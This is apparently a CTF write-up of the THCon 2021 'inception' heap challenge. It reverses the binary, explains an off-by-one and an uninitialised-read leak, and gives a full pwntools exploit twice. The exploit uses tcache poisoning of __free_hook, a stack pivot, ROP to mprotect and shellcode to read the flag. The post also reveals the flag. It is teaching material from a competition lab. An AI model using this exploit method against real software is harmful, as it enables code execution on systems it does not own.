THCon21{inception}
Hi everyone! Hope that everything’s doing good :D!
First of all, sorry for the off-time, I was getting everything ready on college in order to have time to play more ctf’s :D
This weekend, we participated as a team on the THCon CTF, which was very enyoyable, since it was a 24 hrs ctf (I personally love 24 hrs ctf, since it is more accesible for me and my team :D). With that said, lets see the challenge.
Summary
The problem is a classic heap related challenge where we have the following options:

Recon
Doing a little reversing we have the following functions:

Where we have the following problem on the setup() function.

which is basically that we will not have execve() for us, so, no one gadgets :(.
The read_int() function is used to get the number from stdin, note that read() is used with a 0x28 buffer (this will come handy after).
void read_int(void){
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
read(0,&local_38,0x28);
atoi((char *)&local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
For the add() function, we have the following:
void add(void){
uint idx;
int size;
char *chunk;
idx = find_empty();
if (idx == 0xffffffff) {
puts("No more space.");
}
else {
printf("Dream size: ");
size = read_int();
if ((size < 1) || (0x800 < size)) {
puts("Invalid size.");
}
else {
dreams_size[(int)idx] = size;
chunk = (char *)malloc((long)size);
dreams[(int)idx] = chunk;
printf("Dream content: ");
/* No null terminated string, for arbitrary read */
read(0,dreams[(int)idx],(long)size);
printf("Dream #%d created.\n",(ulong)idx);
}
}
return;
}
int find_empty(void){
int k;
k = 0;
while( true ) {
if (5 < k) {
return -1;
}
if (dreams[k] == (char *)0x0) break;
k = k + 1;
}
return k;
}
From here we have that, there’s 2 arrays on the BSS with six entries, one with chunk pointers and other with the respectives dream size. note that the input is no-null terminated, so we can abuse this to obtain an oob read. Another thing to notice, is that the index returned is the first null found.
The delete() function is the following.
void delete(void){
int idx;
idx = read_index();
if (idx != -1) {
/* Free the dreams[idx];
and Zero both arrays of dreams
dreams[idx];
dreams_size[idx]; */
free(dreams[idx]);
dreams[idx] = (char *)0x0;
dreams_size[idx] = 0;
puts("Dream deleted.");
}
return;
}
Nothing interesting here, it free the entry, and null the chunk and sizes entries.
The edit() function, is the following.
void edit(void){
int idx;
ssize_t amount;
idx = read_index();
if (idx != -1) {
printf("New dream content: ");
amount = read(0,dreams[idx],(long)dreams_size[idx]);
/* off by one bug,
setting a nullbyte on the last+1 byte */
dreams[idx][(int)amount] = '\0';
}
return;
}
From here, we can see that the function reads dreams_size bytes, and add a null-byte after that read. which means that we have an off by one bug here.
The view function is the following
void view(void){
int idx;
idx = read_index();
if (idx != -1) {
printf("Dream content: %s\n",dreams[idx]);
}
return;
}
This allows us to view a chunk content, nothing fancy.
Exploitation
Now that we understand what the program does, and the respective bugs that it have, the plan to pwn this is the following:
- Malloc a enough size chunk to not end in tcache (>0x410) .
- Free that chunk letting it go to the
unsorted bins. - Get the chunk from the
unsorted bin, since it is not zeroed by the program, by viewing the chunk, we can get a leak from thefd and bk. - malloc a couple of
tcache sizedchunks and a big chunk after that. - Edit the
big_chunk - 1chunk and overwrite thebig_chunk.prev_sizeand thebig_chunk.prev_inusebit to zero with theoff by one bug. - Free the first
big_chunkand the lastfree_chunk, since the&last_chunk - last_chunk.prev_sizepoints to the firstbig chunkand thelast_chunk.prev_inuseis unset, it will do abackwards consolidation, placing a veeeeeerybig chunkinto the unsorted bin, starting where thefirst big chunkwas. - By allocating again a big chunk, it will be the
consolidated chunkplaced at the unsorted bin. - Overwrite the
fdpointer of thetcache'schunks that are inside thebig chunk. - Do
mallocin order to get achunkpointing to theheap_baseand thefree_hookby doingtcache poisoning. - Overwrite the
__free_hookwith a gadget that lets us start a minirop chain. (use the read_int() bytes to achieve this). - Change
rspto aheap chunk. - Do
ropin order tomprotect(heap, 0x1000, RWX), (or do a bigropchain). - Execute the heap. :)
With that said, starting the exploit skeleton. (I’ll comment the code in order to understand each line)
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./inception" ## change for the challenge name
DEBUG = 1
elf = ELF(p_name)
libc = ELF("./libc.so.6")
if DEBUG:
commands = '''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("remote2.thcon.party",10904)
def f():
p.recvuntil("> ")
def malloc(size, content):
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'content: ')
p.send(content)
f()
def delete(idx):
p.sendline(b'2')
p.sendafter(b"index: ", str(idx))
f()
def edit(idx, content):
p.sendline(b'3')
p.sendlineafter(b"index: ", str(idx) )
p.sendafter(b'content: ', content )
f()
def view(idx, leak = False):
p.sendline(b'4')
p.sendlineafter(b'index: ', str(idx))
if leak:
p.recvuntil("content: ")
leak = p.recvline().strip()[-6:]
print(leak)
f()
return leak
f()
## begin
f()
malloc(0x500-8 , b'B' * 0x4) # idx 0 is returned
malloc(0x30 , b'C' * 0x4) # idx 1 is returned
delete(0) # idx 0 removed, chunk placed in unsorted bin
malloc(0x500-8, b'B' * 0x8) # idx 0 returned, since its not zeroed, and no null-byte terminated, we can view the libc leak from here by viewing the chunk
leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
libc_base = leak - 0x3ebca0
libc.address = libc_base
free_hook = libc.sym['__free_hook']
mprotect = libc.sym['mprotect']
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )

With the libc base, we can malloc tcache's chunks in between and another big chunk at the end.
#....
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )
malloc(0x50 - 8 , b'D' * 0x4) # idx 2 is returned
malloc(0x70 - 8 , b'E' * 0x4) # idx 3 is returned
malloc(0x500 - 8, b'F' * 0x4) # idx 4 is returned
malloc(0x20 , b'E' * 0x4) # idx 5 is returned
payload = b''
payload += b'Y' * (0x70 - 0x10 )
payload += p64( 0x600 )
edit(3, payload) # overwrite the dream[idx=4] prev_size and prev_inuse, in order to make it consolidate backwards
delete(0) # place the first big chunk in to the unsorted bin
delete(1) # free a tcache chunk
delete(2) # free a tcache chunk
delete(4) # Consolidate the big chunk backwards.
Note that the small chunks are inside of the memory region of the consolidated big chunk.

With this, we can now malloc a big chunk in order to get it from the unsorted bin and write on it in order to overwrite the tiny_chunk.fd pointer to do a tcache poisoning attack.
# ....
payload = b''
payload += b'A' * (0x4f0 + 24)
malloc(0x600, payload) # idx 0 is returned from the unsorted bin.
heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @ %s " % hex(heap_base) )
# make a payload to overwite the chunk.fd pointer to the chunks that are placed inside this chunk memory region
payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) # overwrite the fd pointer of a 0x40 chunk. The second malloc, will return a reference to &__free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51) # do the sabe for the 0x51 sized chunk, but this time, with the heap_base (this will break the entire heap)
payload += p64(heap_base)
edit(0,payload)
At this point we successfully overwrite the fd pointer of each tcache chunk.

With this done, we need 4 malloc() in order to get a reference to the __free_hook and the heap base.
# ...
malloc(0x40-8, p64(heap_base) ) # idx 1 is returned, dummy malloc, now &heap_base is placed in the top of the tcache
# usefull gadgets
pop_4 = libc.address+0x00000000000221fd +1# : pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a #: pop rcx; pop rbx; ret;
rdi = libc.address + 0x0000000000022203 # : pop rdi; pop rbp; ret;
rsi = libc.address + 0x0000000000023eea # : pop rsi; ret
rdx = libc.address + 0x0000000000001b96 # : pop rdx; ret;
rdx_nopop = libc.address + 0x000000000014148d # : mov rdx, rax; ret;
delete(5) # Delete the last tiny entry in order to get the `heap base` chunk reference (max 6 entries).
malloc(0x40-8, p64(pop_4) ) # idx 2 is returned which is the __free_hook chunk, replace it with that pop_4 gadget
malloc(0x50-8, b'B') # idx 4 is returned, one more to get a `heap base reference`.
malloc(0x50-8, b'C') # idx 5 is returned, heap base reference
With this done, now, we can abuse the 0x28 bytes on the read_int() function. Delete a chunk and send the payload as the “integer”. The function will parse the integer correctly, but our payload 24 bytes will be placed on the stack. Since we overwrite the __free_hook with a 4 pop - gadget, we can reach our payload on the stack to start our ropchain.

Since we just have 32 bytes to do the ropchain, I made the rsp register to point to the heap in order to get a bigger ropchain.

With that done, we can now:
- call
mprotect(heap, 0x1000, 0x7)in order to make theheap executable. - Jump to the heap placed
shellcode. - Read the flag.
#...
yesno("Trigger mprotect ?")
main_rop = b''
main_rop += p64(rdx) # main rop placed on the heap.
main_rop += p64(0x7) # 0x7 for RWX (third argument)
main_rop += p64(libc.sym['mprotect']) # call mprotect
main_rop += p64(heap_base + 0x260 + 32) # ret to the heab shellcode.
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'
edit(0,main_rop) # edit the bigger chunk in order to place the bigger ropchain
payload = b'5'.ljust(8,b'\x00') # place the tiny ropchain on the stack abusing the read_int() fucntion
payload += b''
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()
#delete(0)
p.interactive()
The entire payload was the following
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./inception" ## change for the challenge name
DEBUG = 0
elf = ELF(p_name)
libc = ELF("./libc.so.6")
if DEBUG:
commands = '''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("remote2.thcon.party",10904)
def f():
p.recvuntil("> ")
def malloc(size, content):
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'content: ')
p.send(content)
f()
def delete(idx):
p.sendline(b'2')
p.sendafter(b"index: ", str(idx))
f()
def edit(idx, content):
p.sendline(b'3')
p.sendlineafter(b"index: ", str(idx) )
p.sendafter(b'content: ', content )
f()
def view(idx, leak = False):
p.sendline(b'4')
p.sendlineafter(b'index: ', str(idx))
if leak:
p.recvuntil("content: ")
leak = p.recvline().strip()[-6:]
print(leak)
f()
return leak
f()
## begin
f()
malloc(0x500-8 , b'B' * 0x4) # 0
malloc(0x30 , b'C' * 0x4) # 1
delete(0)
malloc(0x500-8, b'B' * 0x8) # 0
leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
libc_base = leak - 0x3ebca0
libc.address = libc_base
free_hook = libc.sym['__free_hook']
mprotect = libc.sym['mprotect']
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )
malloc(0x50 - 8 , b'D' * 0x4) # 2
malloc(0x70 - 8 , b'E' * 0x4) # 3
malloc(0x500 - 8, b'F' * 0x4) # 4
malloc(0x20 , b'E' * 0x4) # 5
payload = b''
payload += b'Y' * (0x70 - 0x10 )
payload += p64( 0x600 )
edit(3, payload)
#yesno("delete?")
delete(0)
delete(1)
delete(2)
delete(4)
# Now, the chunk 4 is consolidated backwards, having a 0xb00 size chunk into the unsorted bin, which means, that freeing the middle chunks, we can overwrite those pointers by editting the new 0xb0 chunk
payload = b''
payload += b'A' * (0x4f0 + 24)
malloc(0x600, payload) # 0
heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @ %s " % hex(heap_base) )
payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) # overwrite the fd pointer of a 0x40 chunk, in order to the second malloc, we'll get a reference to __free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51)
payload += p64(heap_base)
edit(0,payload)
malloc(0x40-8, p64(heap_base) ) #1
pop_4 = libc.address+0x00000000000221fd +1# : pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a #: pop rcx; pop rbx; ret;
rdi = libc.address + 0x0000000000022203 # : pop rdi; pop rbp; ret;
rsi = libc.address + 0x0000000000023eea # : pop rsi; ret;
rdx = libc.address + 0x0000000000001b96 # : pop rdx; ret;
rdx_nopop = libc.address + 0x000000000014148d # : mov rdx, rax; ret;
dummy = libc.address +0x000000000009df8f#: add rsp, 8; jmp rax;
delete(5)
malloc(0x40-8, p64(pop_4) ) #2 which is the __free_hook chunk
#malloc(0x40-8, p64(dummy2) ) #2 which is the __free_hook chunk
#yesno("what?")
malloc(0x50-8, b'B') # 4
malloc(0x50-8, b'C') # 5
yesno("Trigger mprotect ?")
main_rop = b''
main_rop += p64(rdx)
main_rop += p64(0x7)
main_rop += p64(libc.sym['mprotect'])
main_rop += p64(heap_base + 0x260 + 32)
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'
edit(0,main_rop)
payload = b'5'.ljust(8,b'\x00')
payload += b''
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()
p.interactive()
With this, we can get the flag :D

THCon21{i5_7h15_b4byR0P_0r_B4byH34P???}
Thanks to the THC team for the CTF,,,, Hope that this make sense, any doubt, just ping me,
be safe,
cheers!